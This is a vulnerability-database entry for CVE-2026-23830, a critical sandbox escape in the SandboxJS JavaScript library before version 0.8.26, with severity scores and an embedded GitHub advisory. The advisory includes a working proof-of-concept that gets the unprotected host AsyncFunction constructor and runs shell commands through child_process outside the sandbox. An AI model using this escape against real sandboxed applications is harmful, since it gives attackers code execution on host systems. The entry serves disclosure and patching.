CVE-2026-23830

criticalpriority · track · 10EPSS 0.012 · 68 %ileexploit · PoCEUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
1 exploit · PoC
Likely / severe?
1.22% (68th) EPSS
CVSS 10 · critical
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · scored 2026-10-27

SandboxJS is a JavaScript sandboxing library. Versions prior to 0.8.26 have a sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction`. The library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups. However, before version 0.8.26, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () => {}).constructor`). In `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor. Constructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution). Version 0.8.26 patches this vulnerability.

01

cvss

Technical severity, 0–10. One row per scoring source.

10.0
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.110criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hsecondary · ENISA EU
v3.110criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 6
v3.110criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hsecondary · OSV
v3.19.4criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:Psecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

exploits (1)

Public proof-of-concept and weaponised exploit code.

05

affected products (3)

Products and version ranges known to be affected.

06

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-wxhw-j4hc-fmq6SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor2026-01-27ghsa · osvUS

    ### Summary A sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction` ### Details The library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups. However, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () => {}).constructor`). In `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor. Constructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution). ### PoC ```js const sandbox = require('@nyariv/sandboxjs'); const s = new sandbox.default(); const payload = ` const af = async () => {}; // .constructor returns the host AsyncFunction constructor because it's not intercepted const AsyncConstructor = af.constructor; console.log("AsyncConstructor name:", AsyncConstructor.name); // Create a function that executes outside the sandbox const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()"); // Execute RCE const p = func(); p.then(proc => { console.log(proc); }); `; try { s.compile(payload)().run(); } catch (e) { console.error("Bypass failed:", e.message); } ``` Run above script in nodejs. If you run it in browser, change the `AsyncConstructor` argument by returning `window` object. ### Impact A Remote Code Execution, attacker may be able to run an arbitrary code.

07

also known as (3)

Other names and identifiers for this entity.

08

sources

Which sources assert this record, and when.

published 2026-01-28modified 2026-06-17
09

references (6)

External citations — patches, advisories, analysis.

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